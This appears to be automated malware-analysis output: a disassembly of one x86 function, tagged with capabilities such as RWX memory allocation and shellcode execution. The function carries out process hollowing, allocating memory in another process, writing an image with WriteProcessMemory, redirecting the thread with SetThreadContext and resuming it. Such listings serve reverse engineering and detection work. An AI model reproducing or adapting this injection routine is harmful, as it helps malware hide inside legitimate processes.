Function at 0x405050
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2e4
mov edx, dword [esp + 0x2fc]
push esi
mov esi, ecx
lea eax, [esp + 0x18]
lea ecx, [esp + 0x14]
push eax
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x2fc]
lea edx, [esp + 0x2c]
push ecx
push edx
push eax
mov ecx, esi
mov dword [esp + 0x20], 0xffffffff
call fcn.00404f50
test eax, eax
je 0x40525c
mov eax, dword [esp + 0x14]
push ebx
push ebp
mov ebp, dword [esp + 0x300]
mov ebx, dword [esp + 0x304]
push edi
mov edi, dword [esp + 0x2fc]
mov dword [esp + 0x14], 0
cmp dword [edi + 0x34], eax
jne 0x4050e4
mov ecx, dword [esp + 0x24]
cmp ecx, ebx
jb 0x4050e4
lea edx, [esp + 0x1c]
mov dword [esp + 0x14], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
jmp 0x405160
cmp dword [esi], 0
je 0x40521b
mov ecx, dword [esp + 0x10]
push eax
push ecx
mov ecx, esi
call fcn.00404f00
test eax, eax
je 0x405115
mov edx, dword [edi + 0x34]
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
push ebx
push edx
push eax
call dword [esi]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x40516c
mov eax, dword [edi + 0xa0]
test eax, eax
je 0x40521b
mov eax, dword [edi + 0xa4]
test eax, eax
je 0x40521b
mov ecx, dword [esp + 0x10]
push 0x40
push 0x3000
push ebx
push 0
push ecx
call dword [esi]
test eax, eax
mov dword [esp + 0x14], eax
je 0x40521b
push eax
push ebp
push edi
mov ecx, esi
call fcn.00404ec0
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40521b
mov ecx, dword [esp + 0xcc]
mov esi, dword [sym.imp.kernel32.dll_WriteProcessMemory]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x14]
push edx
mov edx, dword [esp + 0x14]
push 4
add ecx, 8
push eax
push ecx
push edx
call esi
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
mov dword [edi + 0x34], eax
push ecx
push ebx
push ebp
push eax
push edx
call esi
test eax, eax
je 0x40521b
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
cmp eax, ecx
mov dword [esp + 0x28], 0x10007
jne 0x4051cf
mov eax, dword [edi + 0x28]
mov ecx, dword [edi + 0x34]
add eax, ecx
mov dword [esp + 0xd8], eax
jmp 0x4051db
mov ecx, dword [edi + 0x28]
add ecx, eax
mov dword [esp + 0xd8], ecx
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x28]
push edx
push eax
call dword [sym.imp.kernel32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.kernel32.dll_ResumeThread]
mov edx, dword [esp + 0x18]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x18]
push eax
call esi
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x2e4
ret 0x18
mov eax, dword [esp + 0x10]
push 0
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
push eax
call esi
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x2e4
ret 0x18
mov eax, dword [esp + 4]
pop esi
add esp, 0x2e4
ret 0x18